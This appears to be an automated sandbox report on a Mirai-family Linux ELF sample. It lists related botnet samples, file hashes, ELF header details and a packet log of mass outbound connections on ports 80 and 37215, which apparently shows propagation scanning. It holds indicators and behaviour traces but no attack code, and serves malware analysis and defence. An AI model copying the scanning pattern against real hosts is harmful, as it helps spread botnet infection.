	SecuriteInfo.com.Linux.Siggen.9999.30713.11741.elf	Get hash	malicious	Unknown	Browse	12.208.1.117
	ZMmldq2l5G.elf	Get hash	malicious	Unknown	Browse	32.45.213.23
	iL9zMjibuS.elf	Get hash	malicious	Unknown	Browse	107.65.127.193
	pL93mphmiw.elf	Get hash	malicious	Unknown	Browse	13.193.15.159
T-MOBILE-AS21928US	SRtnwytcHZ.elf	Get hash	malicious	Mirai, Moobot	Browse	100.183.84.90
	ZMmldq2l5G.elf	Get hash	malicious	Unknown	Browse	100.143.139.124
	pteaxFhuKB.elf	Get hash	malicious	Unknown	Browse	162.164.33.63
	fJBq0o8bfe.elf	Get hash	malicious	Gafgyt	Browse	100.149.148.65
	huhu.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	172.59.233.113
	YmHB5jMOsq.elf	Get hash	malicious	Gafgyt	Browse	100.150.189.195
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	100.237.146.236
	jew.x86.elf	Get hash	malicious	Mirai	Browse	162.184.95.40
	u6aBuFUyJo.elf	Get hash	malicious	Mirai	Browse	100.242.167.53
	zXDq4C19qR.elf	Get hash	malicious	Mirai	Browse	100.137.247.221
ATGS-MMD-ASUS	k19pd0afPb.elf	Get hash	malicious	Mirai, Moobot	Browse	51.29.209.62
	D7iI17d3sE.elf	Get hash	malicious	Mirai, Moobot	Browse	57.246.167.73
	SRtnwytcHZ.elf	Get hash	malicious	Mirai, Moobot	Browse	57.55.226.25
	http://nextnovatech.com	Get hash	malicious	Unknown	Browse	34.134.115.112
	https://cm.cmbuck-oem.com/u?mid=65d4697350bd35000100a093	Get hash	malicious	Unknown	Browse	34.28.233.175
	SecuriteInfo.com.Linux.Siggen.9999.30713.11741.elf	Get hash	malicious	Unknown	Browse	57.6.171.161
	ZMmldq2l5G.elf	Get hash	malicious	Unknown	Browse	34.8.24.84
	iL9zMjibuS.elf	Get hash	malicious	Unknown	Browse	57.31.44.204
	pL93mphmiw.elf	Get hash	malicious	Unknown	Browse	32.109.247.147
	pteaxFhuKB.elf	Get hash	malicious	Unknown	Browse	32.163.126.142
VIASAT-SP-BACKBONEUS	huhu.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	72.173.72.154
	tAF0Glq9pH.elf	Get hash	malicious	Mirai	Browse	184.20.218.47
	6KdBhFhggb.elf	Get hash	malicious	Mirai	Browse	184.63.30.38
	HXgmHRSUEI.elf	Get hash	malicious	Mirai	Browse	184.63.30.47
	PNMLYm8inY.elf	Get hash	malicious	Mirai	Browse	172.242.149.131
	fPW7tc1Xvh.elf	Get hash	malicious	Mirai	Browse	67.54.141.217
	SecuriteInfo.com.Linux.Siggen.9999.20734.15655.elf	Get hash	malicious	Mirai	Browse	75.106.34.125
	Cl0Z0rpKKI.elf	Get hash	malicious	Mirai	Browse	162.72.92.96
	L5dJXUt9Sz.elf	Get hash	malicious	Mirai	Browse	207.241.178.3
	Np14MVqF0i.elf	Get hash	malicious	Mirai	Browse	184.63.224.24

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.562653982375882
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	H085INliC6.elf
File size:	115'952 bytes
MD5:	5cefad7064406a99f2414bf5436e904c
SHA1:	d7bec71d51b3c0392d6c124905e1bef983d7dced
SHA256:	02a622afbe32533fefb2aa223550868f04a9d5f09294b83558003b1da5c09a21
SHA512:	b17fbd47961e72ba0388d6cd4eebfee4a65f927e024cfac3d1727908b525dafc00e356eac6abf6b04b1fdee2374c980432af4e7a59a113eb795ebee05b9deeea
SSDEEP:	3072:SM6tseX626zal/otJHO1KJxDOJxYnTeq5euCYZBTpj2:Svqo626mc81Ka3Abn2
TLSH:	13B33AD1BB83D4B2CD0146B530ABEF328977E4BB1217D6C1E7B49D72AC804129517AEE
File Content Preview:	.ELF....................d...4...`.......4. ...(..............................................@...@.. ....-..........Q.td............................U..S.......w....h.....}..[]...$.............U......= C...t..5....$@.....$@......u........t....h.>..........

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	115552
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0x17db6	0x0	0x6	AX	16
.fini	PROGBITS	0x805fe66	0x17e66	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x805fe80	0x17e80	0x401c	0x0	0x2	A	32
.ctors	PROGBITS	0x8064000	0x1c000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8064008	0x1c008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8064020	0x1c020	0x300	0x0	0x3	WA	32
.bss	NOBITS	0x8064320	0x1c320	0x2a68	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x1c320	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0x1be9c	0x1be9c	6.5972	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0x1c000	0x8064000	0x8064000	0x320	0x2d88	3.1905	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 7900
• 55555 undefined
• 37215 undefined
• 8081 undefined
• 8080 undefined
• 443 (HTTPS)
• 80 (HTTP)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 2, 2024 12:36:51.799911976 CET	52998	80	192.168.2.23	95.51.22.32
Mar 2, 2024 12:36:51.799912930 CET	52998	80	192.168.2.23	95.170.107.32
Mar 2, 2024 12:36:51.799921036 CET	52998	80	192.168.2.23	95.120.96.125
Mar 2, 2024 12:36:51.799925089 CET	52998	80	192.168.2.23	95.52.53.140
Mar 2, 2024 12:36:51.799937963 CET	52998	80	192.168.2.23	95.57.172.115
Mar 2, 2024 12:36:51.799947023 CET	52998	80	192.168.2.23	95.185.220.68
Mar 2, 2024 12:36:51.799947023 CET	52998	80	192.168.2.23	95.220.97.188
Mar 2, 2024 12:36:51.799952984 CET	52998	80	192.168.2.23	95.71.168.70
Mar 2, 2024 12:36:51.799962044 CET	52998	80	192.168.2.23	95.163.204.203
Mar 2, 2024 12:36:51.799964905 CET	52998	80	192.168.2.23	95.42.103.122
Mar 2, 2024 12:36:51.799977064 CET	52998	80	192.168.2.23	95.240.107.118
Mar 2, 2024 12:36:51.799989939 CET	52998	80	192.168.2.23	95.101.0.120
Mar 2, 2024 12:36:51.799990892 CET	52998	80	192.168.2.23	95.206.59.186
Mar 2, 2024 12:36:51.799989939 CET	52998	80	192.168.2.23	95.128.55.80
Mar 2, 2024 12:36:51.800004005 CET	52998	80	192.168.2.23	95.24.220.10
Mar 2, 2024 12:36:51.800004005 CET	52998	80	192.168.2.23	95.223.25.26
Mar 2, 2024 12:36:51.800029993 CET	52998	80	192.168.2.23	95.137.89.241
Mar 2, 2024 12:36:51.800029993 CET	52998	80	192.168.2.23	95.151.108.205
Mar 2, 2024 12:36:51.800030947 CET	52998	80	192.168.2.23	95.239.233.42
Mar 2, 2024 12:36:51.800030947 CET	52998	80	192.168.2.23	95.116.124.173
Mar 2, 2024 12:36:51.800033092 CET	52998	80	192.168.2.23	95.157.160.97
Mar 2, 2024 12:36:51.800034046 CET	52998	80	192.168.2.23	95.161.0.108
Mar 2, 2024 12:36:51.800051928 CET	52998	80	192.168.2.23	95.117.130.206
Mar 2, 2024 12:36:51.800056934 CET	52998	80	192.168.2.23	95.33.42.56
Mar 2, 2024 12:36:51.800056934 CET	52998	80	192.168.2.23	95.128.21.214
Mar 2, 2024 12:36:51.800071955 CET	52998	80	192.168.2.23	95.65.250.186
Mar 2, 2024 12:36:51.800077915 CET	52998	80	192.168.2.23	95.213.230.191
Mar 2, 2024 12:36:51.800091982 CET	52998	80	192.168.2.23	95.247.163.101
Mar 2, 2024 12:36:51.800116062 CET	52998	80	192.168.2.23	95.74.88.197
Mar 2, 2024 12:36:51.800123930 CET	52998	80	192.168.2.23	95.82.141.248
Mar 2, 2024 12:36:51.800123930 CET	52998	80	192.168.2.23	95.205.34.7
Mar 2, 2024 12:36:51.800123930 CET	52998	80	192.168.2.23	95.197.232.66
Mar 2, 2024 12:36:51.800123930 CET	52998	80	192.168.2.23	95.105.43.37
Mar 2, 2024 12:36:51.800127983 CET	52998	80	192.168.2.23	95.83.127.110
Mar 2, 2024 12:36:51.800127983 CET	52998	80	192.168.2.23	95.15.63.181
Mar 2, 2024 12:36:51.800133944 CET	52998	80	192.168.2.23	95.115.116.48
Mar 2, 2024 12:36:51.800146103 CET	52998	80	192.168.2.23	95.136.134.50
Mar 2, 2024 12:36:51.800148964 CET	52998	80	192.168.2.23	95.113.195.200
Mar 2, 2024 12:36:51.800160885 CET	52998	80	192.168.2.23	95.231.25.57
Mar 2, 2024 12:36:51.800167084 CET	52998	80	192.168.2.23	95.7.152.181
Mar 2, 2024 12:36:51.800182104 CET	52998	80	192.168.2.23	95.79.38.192
Mar 2, 2024 12:36:51.800183058 CET	52998	80	192.168.2.23	95.216.232.167
Mar 2, 2024 12:36:51.800190926 CET	52998	80	192.168.2.23	95.238.129.60
Mar 2, 2024 12:36:51.800206900 CET	52998	80	192.168.2.23	95.213.10.36
Mar 2, 2024 12:36:51.800229073 CET	52998	80	192.168.2.23	95.52.152.61
Mar 2, 2024 12:36:51.800230980 CET	52998	80	192.168.2.23	95.75.37.74
Mar 2, 2024 12:36:51.800230980 CET	52998	80	192.168.2.23	95.255.24.50
Mar 2, 2024 12:36:51.800230980 CET	52998	80	192.168.2.23	95.75.239.70
Mar 2, 2024 12:36:51.800237894 CET	52998	80	192.168.2.23	95.209.40.12
Mar 2, 2024 12:36:51.800251007 CET	52998	80	192.168.2.23	95.186.121.214
Mar 2, 2024 12:36:51.800265074 CET	52998	80	192.168.2.23	95.151.165.117
Mar 2, 2024 12:36:51.800265074 CET	52998	80	192.168.2.23	95.135.129.70
Mar 2, 2024 12:36:51.800271988 CET	52998	80	192.168.2.23	95.141.160.173
Mar 2, 2024 12:36:51.800282955 CET	52998	80	192.168.2.23	95.56.252.254
Mar 2, 2024 12:36:51.800292969 CET	52998	80	192.168.2.23	95.151.70.117
Mar 2, 2024 12:36:51.800299883 CET	52998	80	192.168.2.23	95.10.166.137
Mar 2, 2024 12:36:51.800307989 CET	52998	80	192.168.2.23	95.176.12.173
Mar 2, 2024 12:36:51.800309896 CET	52998	80	192.168.2.23	95.211.87.108
Mar 2, 2024 12:36:51.800314903 CET	52998	80	192.168.2.23	95.157.192.29
Mar 2, 2024 12:36:51.800321102 CET	52998	80	192.168.2.23	95.114.229.90
Mar 2, 2024 12:36:51.800333977 CET	52998	80	192.168.2.23	95.193.80.244
Mar 2, 2024 12:36:51.800333977 CET	52998	80	192.168.2.23	95.252.51.93
Mar 2, 2024 12:36:51.800334930 CET	52998	80	192.168.2.23	95.144.44.9
Mar 2, 2024 12:36:51.800348043 CET	52998	80	192.168.2.23	95.231.59.147
Mar 2, 2024 12:36:51.800348043 CET	52998	80	192.168.2.23	95.157.194.162
Mar 2, 2024 12:36:51.800369024 CET	52998	80	192.168.2.23	95.55.10.116
Mar 2, 2024 12:36:51.800370932 CET	52998	80	192.168.2.23	95.240.56.27
Mar 2, 2024 12:36:51.800385952 CET	52998	80	192.168.2.23	95.247.243.81
Mar 2, 2024 12:36:51.800386906 CET	52998	80	192.168.2.23	95.67.212.247
Mar 2, 2024 12:36:51.800386906 CET	52998	80	192.168.2.23	95.180.105.208
Mar 2, 2024 12:36:51.800410986 CET	52998	80	192.168.2.23	95.195.151.113
Mar 2, 2024 12:36:51.800421000 CET	52998	80	192.168.2.23	95.157.216.153
Mar 2, 2024 12:36:51.800430059 CET	52998	80	192.168.2.23	95.56.109.89
Mar 2, 2024 12:36:51.800441027 CET	52998	80	192.168.2.23	95.83.253.206
Mar 2, 2024 12:36:51.800441027 CET	52998	80	192.168.2.23	95.90.248.122
Mar 2, 2024 12:36:51.800441027 CET	52998	80	192.168.2.23	95.6.90.65
Mar 2, 2024 12:36:51.800446033 CET	52998	80	192.168.2.23	95.118.67.55
Mar 2, 2024 12:36:51.800452948 CET	52998	80	192.168.2.23	95.123.120.174
Mar 2, 2024 12:36:51.800462961 CET	52998	80	192.168.2.23	95.199.74.77
Mar 2, 2024 12:36:51.800471067 CET	52998	80	192.168.2.23	95.238.36.9
Mar 2, 2024 12:36:51.800473928 CET	52998	80	192.168.2.23	95.246.231.237
Mar 2, 2024 12:36:51.800483942 CET	52998	80	192.168.2.23	95.214.243.243
Mar 2, 2024 12:36:51.800487041 CET	52998	80	192.168.2.23	95.61.221.6
Mar 2, 2024 12:36:51.800496101 CET	52998	80	192.168.2.23	95.182.69.66
Mar 2, 2024 12:36:51.800507069 CET	52998	80	192.168.2.23	95.128.84.210
Mar 2, 2024 12:36:51.800507069 CET	52998	80	192.168.2.23	95.244.240.223
Mar 2, 2024 12:36:51.800512075 CET	52998	80	192.168.2.23	95.62.170.211
Mar 2, 2024 12:36:51.800542116 CET	52998	80	192.168.2.23	95.174.224.88
Mar 2, 2024 12:36:51.800542116 CET	52998	80	192.168.2.23	95.22.5.66
Mar 2, 2024 12:36:51.800546885 CET	52998	80	192.168.2.23	95.207.35.46
Mar 2, 2024 12:36:51.800558090 CET	52998	80	192.168.2.23	95.185.66.163
Mar 2, 2024 12:36:51.800564051 CET	52998	80	192.168.2.23	95.110.223.203
Mar 2, 2024 12:36:51.800565958 CET	52998	80	192.168.2.23	95.3.217.76
Mar 2, 2024 12:36:51.800578117 CET	52998	80	192.168.2.23	95.58.124.126
Mar 2, 2024 12:36:51.800578117 CET	52998	80	192.168.2.23	95.157.50.180
Mar 2, 2024 12:36:51.800584078 CET	52998	80	192.168.2.23	95.107.204.199
Mar 2, 2024 12:36:51.800596952 CET	52998	80	192.168.2.23	95.159.255.244
Mar 2, 2024 12:36:51.800601006 CET	52998	80	192.168.2.23	95.28.95.106
Mar 2, 2024 12:36:51.800616980 CET	52998	80	192.168.2.23	95.18.186.111
Mar 2, 2024 12:36:51.800621986 CET	52998	80	192.168.2.23	95.87.88.254
Mar 2, 2024 12:36:51.800621986 CET	52998	80	192.168.2.23	95.97.80.129
Mar 2, 2024 12:36:51.800623894 CET	52998	80	192.168.2.23	95.46.62.191
Mar 2, 2024 12:36:51.800628901 CET	52998	80	192.168.2.23	95.127.13.240
Mar 2, 2024 12:36:51.800656080 CET	52998	80	192.168.2.23	95.15.218.197
Mar 2, 2024 12:36:51.800661087 CET	52998	80	192.168.2.23	95.82.115.147
Mar 2, 2024 12:36:51.800661087 CET	52998	80	192.168.2.23	95.86.39.17
Mar 2, 2024 12:36:51.800661087 CET	52998	80	192.168.2.23	95.0.207.197
Mar 2, 2024 12:36:51.800663948 CET	52998	80	192.168.2.23	95.101.151.199
Mar 2, 2024 12:36:51.800663948 CET	52998	80	192.168.2.23	95.21.13.26
Mar 2, 2024 12:36:51.800663948 CET	52998	80	192.168.2.23	95.65.202.22
Mar 2, 2024 12:36:51.800682068 CET	52998	80	192.168.2.23	95.60.31.188
Mar 2, 2024 12:36:51.800684929 CET	52998	80	192.168.2.23	95.34.157.222
Mar 2, 2024 12:36:51.800693035 CET	52998	80	192.168.2.23	95.147.189.229
Mar 2, 2024 12:36:51.800698996 CET	52998	80	192.168.2.23	95.46.11.166
Mar 2, 2024 12:36:51.800705910 CET	52998	80	192.168.2.23	95.43.155.23
Mar 2, 2024 12:36:51.800710917 CET	52998	80	192.168.2.23	95.110.1.159
Mar 2, 2024 12:36:51.800714970 CET	52998	80	192.168.2.23	95.104.43.250
Mar 2, 2024 12:36:51.800729036 CET	52998	80	192.168.2.23	95.6.235.23
Mar 2, 2024 12:36:51.800730944 CET	52998	80	192.168.2.23	95.54.148.210
Mar 2, 2024 12:36:51.800740957 CET	52998	80	192.168.2.23	95.42.172.241
Mar 2, 2024 12:36:51.800740957 CET	52998	80	192.168.2.23	95.76.99.19
Mar 2, 2024 12:36:51.800744057 CET	52998	80	192.168.2.23	95.250.129.32
Mar 2, 2024 12:36:51.800776958 CET	52998	80	192.168.2.23	95.80.253.14
Mar 2, 2024 12:36:51.800777912 CET	52998	80	192.168.2.23	95.60.54.37
Mar 2, 2024 12:36:51.800777912 CET	52998	80	192.168.2.23	95.84.112.180
Mar 2, 2024 12:36:51.800779104 CET	52998	80	192.168.2.23	95.203.71.188
Mar 2, 2024 12:36:51.800780058 CET	52998	80	192.168.2.23	95.33.134.24
Mar 2, 2024 12:36:51.800793886 CET	52998	80	192.168.2.23	95.247.91.157
Mar 2, 2024 12:36:51.800798893 CET	52998	80	192.168.2.23	95.130.199.58
Mar 2, 2024 12:36:51.800802946 CET	52998	80	192.168.2.23	95.95.106.11
Mar 2, 2024 12:36:51.800808907 CET	52998	80	192.168.2.23	95.21.251.7
Mar 2, 2024 12:36:51.800827980 CET	52998	80	192.168.2.23	95.157.191.83
Mar 2, 2024 12:36:51.800839901 CET	52998	80	192.168.2.23	95.60.27.84
Mar 2, 2024 12:36:51.800843000 CET	52998	80	192.168.2.23	95.204.211.198
Mar 2, 2024 12:36:51.800843000 CET	52998	80	192.168.2.23	95.66.109.183
Mar 2, 2024 12:36:51.800844908 CET	52998	80	192.168.2.23	95.117.3.224
Mar 2, 2024 12:36:51.800844908 CET	52998	80	192.168.2.23	95.20.205.235
Mar 2, 2024 12:36:51.800853968 CET	52998	80	192.168.2.23	95.3.200.22
Mar 2, 2024 12:36:51.800867081 CET	52998	80	192.168.2.23	95.179.56.89
Mar 2, 2024 12:36:51.800869942 CET	52998	80	192.168.2.23	95.117.211.33
Mar 2, 2024 12:36:51.800873041 CET	52998	80	192.168.2.23	95.96.99.206
Mar 2, 2024 12:36:51.800880909 CET	52998	80	192.168.2.23	95.67.136.224
Mar 2, 2024 12:36:51.800899029 CET	52998	80	192.168.2.23	95.107.92.13
Mar 2, 2024 12:36:51.800923109 CET	52998	80	192.168.2.23	95.3.244.223
Mar 2, 2024 12:36:51.800923109 CET	52998	80	192.168.2.23	95.78.5.11
Mar 2, 2024 12:36:51.800935030 CET	52998	80	192.168.2.23	95.163.111.31
Mar 2, 2024 12:36:51.800940037 CET	52998	80	192.168.2.23	95.249.204.155
Mar 2, 2024 12:36:51.800940037 CET	52998	80	192.168.2.23	95.101.96.156
Mar 2, 2024 12:36:51.800944090 CET	52998	80	192.168.2.23	95.80.121.47
Mar 2, 2024 12:36:51.800949097 CET	52998	80	192.168.2.23	95.211.88.186
Mar 2, 2024 12:36:51.800949097 CET	52998	80	192.168.2.23	95.112.46.115
Mar 2, 2024 12:36:51.800949097 CET	52998	80	192.168.2.23	95.145.13.116
Mar 2, 2024 12:36:51.800955057 CET	52998	80	192.168.2.23	95.42.157.245
Mar 2, 2024 12:36:51.800966024 CET	52998	80	192.168.2.23	95.124.124.27
Mar 2, 2024 12:36:51.800966024 CET	52998	80	192.168.2.23	95.83.22.28
Mar 2, 2024 12:36:51.800980091 CET	52998	80	192.168.2.23	95.156.225.105
Mar 2, 2024 12:36:51.800980091 CET	52998	80	192.168.2.23	95.166.236.129
Mar 2, 2024 12:36:51.800992012 CET	52998	80	192.168.2.23	95.197.5.78
Mar 2, 2024 12:36:51.800997019 CET	52998	80	192.168.2.23	95.184.8.255
Mar 2, 2024 12:36:51.800992012 CET	52998	80	192.168.2.23	95.49.234.136
Mar 2, 2024 12:36:51.802223921 CET	52230	37215	192.168.2.23	197.124.97.0
Mar 2, 2024 12:36:51.802225113 CET	52230	37215	192.168.2.23	197.178.107.32
Mar 2, 2024 12:36:51.802227020 CET	52230	37215	192.168.2.23	197.43.22.32
Mar 2, 2024 12:36:51.802239895 CET	52230	37215	192.168.2.23	197.76.192.60
Mar 2, 2024 12:36:51.802242041 CET	52230	37215	192.168.2.23	197.149.45.118
Mar 2, 2024 12:36:51.802248001 CET	52230	37215	192.168.2.23	197.4.84.32
Mar 2, 2024 12:36:51.802257061 CET	52230	37215	192.168.2.23	197.226.128.104
Mar 2, 2024 12:36:51.802257061 CET	52230	37215	192.168.2.23	197.81.235.68
Mar 2, 2024 12:36:51.802273035 CET	52230	37215	192.168.2.23	197.156.32.189
Mar 2, 2024 12:36:51.802303076 CET	52230	37215	192.168.2.23	197.204.65.192
Mar 2, 2024 12:36:51.802306890 CET	52230	37215	192.168.2.23	197.193.111.70
Mar 2, 2024 12:36:51.802324057 CET	52230	37215	192.168.2.23	197.232.1.28
Mar 2, 2024 12:36:51.802325010 CET	52230	37215	192.168.2.23	197.3.94.156
Mar 2, 2024 12:36:51.802329063 CET	52230	37215	192.168.2.23	197.133.150.122
Mar 2, 2024 12:36:51.802344084 CET	52230	37215	192.168.2.23	197.199.218.48
Mar 2, 2024 12:36:51.802344084 CET	52230	37215	192.168.2.23	197.125.147.45
Mar 2, 2024 12:36:51.802352905 CET	52230	37215	192.168.2.23	197.159.230.47
Mar 2, 2024 12:36:51.802355051 CET	52230	37215	192.168.2.23	197.16.78.104
Mar 2, 2024 12:36:51.802357912 CET	52230	37215	192.168.2.23	197.153.192.35
Mar 2, 2024 12:36:51.802371025 CET	52230	37215	192.168.2.23	197.252.254.213
Mar 2, 2024 12:36:51.802371025 CET	52230	37215	192.168.2.23	197.108.120.255
Mar 2, 2024 12:36:51.802386999 CET	52230	37215	192.168.2.23	197.200.125.38
Mar 2, 2024 12:36:51.802405119 CET	52230	37215	192.168.2.23	197.80.237.4
Mar 2, 2024 12:36:51.802406073 CET	52230	37215	192.168.2.23	197.110.154.189
Mar 2, 2024 12:36:51.802407026 CET	52230	37215	192.168.2.23	197.76.67.116
Mar 2, 2024 12:36:51.802412033 CET	52230	37215	192.168.2.23	197.2.228.111
Mar 2, 2024 12:36:51.802426100 CET	52230	37215	192.168.2.23	197.52.63.17
Mar 2, 2024 12:36:51.802428961 CET	52230	37215	192.168.2.23	197.179.151.228
Mar 2, 2024 12:36:51.802431107 CET	52230	37215	192.168.2.23	197.233.219.25
Mar 2, 2024 12:36:51.802439928 CET	52230	37215	192.168.2.23	197.147.218.133
Mar 2, 2024 12:36:51.802450895 CET	52230	37215	192.168.2.23	197.234.144.217
Mar 2, 2024 12:36:51.802474022 CET	52230	37215	192.168.2.23	197.118.6.18
Mar 2, 2024 12:36:51.802478075 CET	52230	37215	192.168.2.23	197.222.106.115
Mar 2, 2024 12:36:51.802484035 CET	52230	37215	192.168.2.23	197.146.31.6
Mar 2, 2024 12:36:51.802484989 CET	52230	37215	192.168.2.23	197.227.176.126
Mar 2, 2024 12:36:51.802484035 CET	52230	37215	192.168.2.23	197.170.128.38
Mar 2, 2024 12:36:51.802500963 CET	52230	37215	192.168.2.23	197.33.114.7
Mar 2, 2024 12:36:51.802501917 CET	52230	37215	192.168.2.23	197.34.20.173
Mar 2, 2024 12:36:51.802526951 CET	52230	37215	192.168.2.23	197.97.85.103
Mar 2, 2024 12:36:51.802553892 CET	52230	37215	192.168.2.23	197.87.73.20
Mar 2, 2024 12:36:51.802556992 CET	52230	37215	192.168.2.23	197.179.4.16
Mar 2, 2024 12:36:51.802565098 CET	52230	37215	192.168.2.23	197.121.14.206
Mar 2, 2024 12:36:51.802575111 CET	52230	37215	192.168.2.23	197.255.203.82
Mar 2, 2024 12:36:51.802583933 CET	52230	37215	192.168.2.23	197.119.86.230
Mar 2, 2024 12:36:51.802583933 CET	52230	37215	192.168.2.23	197.45.12.89
Mar 2, 2024 12:36:51.802587032 CET	52230	37215	192.168.2.23	197.189.52.14
Mar 2, 2024 12:36:51.802593946 CET	52230	37215	192.168.2.23	197.114.110.3
Mar 2, 2024 12:36:51.802611113 CET	52230	37215	192.168.2.23	197.250.221.21
Mar 2, 2024 12:36:51.802612066 CET	52230	37215	192.168.2.23	197.218.159.241
Mar 2, 2024 12:36:51.802612066 CET	52230	37215	192.168.2.23	197.171.221.202
Mar 2, 2024 12:36:51.802612066 CET	52230	37215	192.168.2.23	197.183.155.151
Mar 2, 2024 12:36:51.802634001 CET	52230	37215	192.168.2.23	197.151.136.187
Mar 2, 2024 12:36:51.802634001 CET	52230	37215	192.168.2.23	197.56.65.127
Mar 2, 2024 12:36:51.802642107 CET	52230	37215	192.168.2.23	197.31.105.249
Mar 2, 2024 12:36:51.802653074 CET	52230	37215	192.168.2.23	197.183.196.8
Mar 2, 2024 12:36:51.802653074 CET	52230	37215	192.168.2.23	197.212.126.238
Mar 2, 2024 12:36:51.802664995 CET	52230	37215	192.168.2.23	197.147.37.86
Mar 2, 2024 12:36:51.802671909 CET	52230	37215	192.168.2.23	197.146.176.182
Mar 2, 2024 12:36:51.802674055 CET	52230	37215	192.168.2.23	197.174.159.225
Mar 2, 2024 12:36:51.802676916 CET	52230	37215	192.168.2.23	197.202.139.70
Mar 2, 2024 12:36:51.802686930 CET	52230	37215	192.168.2.23	197.76.138.106
Mar 2, 2024 12:36:51.802697897 CET	52230	37215	192.168.2.23	197.39.134.63
Mar 2, 2024 12:36:51.802700996 CET	52230	37215	192.168.2.23	197.244.200.178
Mar 2, 2024 12:36:51.802706957 CET	52230	37215	192.168.2.23	197.52.186.223
Mar 2, 2024 12:36:51.802728891 CET	52230	37215	192.168.2.23	197.144.188.159
Mar 2, 2024 12:36:51.802732944 CET	52230	37215	192.168.2.23	197.50.122.229
Mar 2, 2024 12:36:51.802736998 CET	52230	37215	192.168.2.23	197.237.225.79
Mar 2, 2024 12:36:51.802752018 CET	52230	37215	192.168.2.23	197.54.192.34
Mar 2, 2024 12:36:51.802753925 CET	52230	37215	192.168.2.23	197.136.81.71
Mar 2, 2024 12:36:51.802753925 CET	52230	37215	192.168.2.23	197.165.46.208
Mar 2, 2024 12:36:51.802777052 CET	52230	37215	192.168.2.23	197.12.169.243
Mar 2, 2024 12:36:51.802778959 CET	52230	37215	192.168.2.23	197.103.66.235
Mar 2, 2024 12:36:51.802778959 CET	52230	37215	192.168.2.23	197.214.206.209
Mar 2, 2024 12:36:51.802783012 CET	52230	37215	192.168.2.23	197.254.55.23
Mar 2, 2024 12:36:51.802789927 CET	52230	37215	192.168.2.23	197.153.26.134
Mar 2, 2024 12:36:51.802803993 CET	52230	37215	192.168.2.23	197.149.244.100
Mar 2, 2024 12:36:51.802803993 CET	52230	37215	192.168.2.23	197.214.236.194
Mar 2, 2024 12:36:51.802808046 CET	52230	37215	192.168.2.23	197.223.179.56
Mar 2, 2024 12:36:51.802826881 CET	52230	37215	192.168.2.23	197.87.172.36
Mar 2, 2024 12:36:51.802825928 CET	52230	37215	192.168.2.23	197.10.102.180
Mar 2, 2024 12:36:51.802825928 CET	52230	37215	192.168.2.23	197.33.204.153
Mar 2, 2024 12:36:51.802829027 CET	52230	37215	192.168.2.23	197.161.207.196
Mar 2, 2024 12:36:51.802845001 CET	52230	37215	192.168.2.23	197.25.64.195
Mar 2, 2024 12:36:51.802850962 CET	52230	37215	192.168.2.23	197.231.77.217
Mar 2, 2024 12:36:51.802859068 CET	52230	37215	192.168.2.23	197.230.189.52
Mar 2, 2024 12:36:51.802864075 CET	52230	37215	192.168.2.23	197.98.149.17
Mar 2, 2024 12:36:51.802881956 CET	52230	37215	192.168.2.23	197.146.234.130
Mar 2, 2024 12:36:51.802882910 CET	52230	37215	192.168.2.23	197.121.86.160
Mar 2, 2024 12:36:51.802885056 CET	52230	37215	192.168.2.23	197.246.221.111
Mar 2, 2024 12:36:51.802901030 CET	52230	37215	192.168.2.23	197.164.139.199
Mar 2, 2024 12:36:51.802908897 CET	52230	37215	192.168.2.23	197.163.200.186
Mar 2, 2024 12:36:51.802908897 CET	52230	37215	192.168.2.23	197.13.176.149
Mar 2, 2024 12:36:51.802921057 CET	52230	37215	192.168.2.23	197.228.247.41
Mar 2, 2024 12:36:51.802925110 CET	52230	37215	192.168.2.23	197.24.230.42
Mar 2, 2024 12:36:51.802937984 CET	52230	37215	192.168.2.23	197.193.70.184
Mar 2, 2024 12:36:51.803095102 CET	52230	37215	192.168.2.23	197.209.144.17
Mar 2, 2024 12:36:51.803096056 CET	52230	37215	192.168.2.23	197.147.85.130
Mar 2, 2024 12:36:51.803096056 CET	52230	37215	192.168.2.23	197.47.39.233
Mar 2, 2024 12:36:51.803096056 CET	52230	37215	192.168.2.23	197.229.72.88
Mar 2, 2024 12:36:51.803107977 CET	52230	37215	192.168.2.23	197.247.55.104
Mar 2, 2024 12:36:51.803119898 CET	52230	37215	192.168.2.23	197.26.175.198
Mar 2, 2024 12:36:51.803123951 CET	52230	37215	192.168.2.23	197.166.148.62
Mar 2, 2024 12:36:51.803128004 CET	52230	37215	192.168.2.23	197.183.89.0
Mar 2, 2024 12:36:51.803128958 CET	52230	37215	192.168.2.23	197.24.207.219
Mar 2, 2024 12:36:51.803139925 CET	52230	37215	192.168.2.23	197.24.185.51
Mar 2, 2024 12:36:51.803162098 CET	52230	37215	192.168.2.23	197.237.223.226
Mar 2, 2024 12:36:51.803214073 CET	52230	37215	192.168.2.23	197.69.119.12
Mar 2, 2024 12:36:51.803225040 CET	52230	37215	192.168.2.23	197.156.68.25
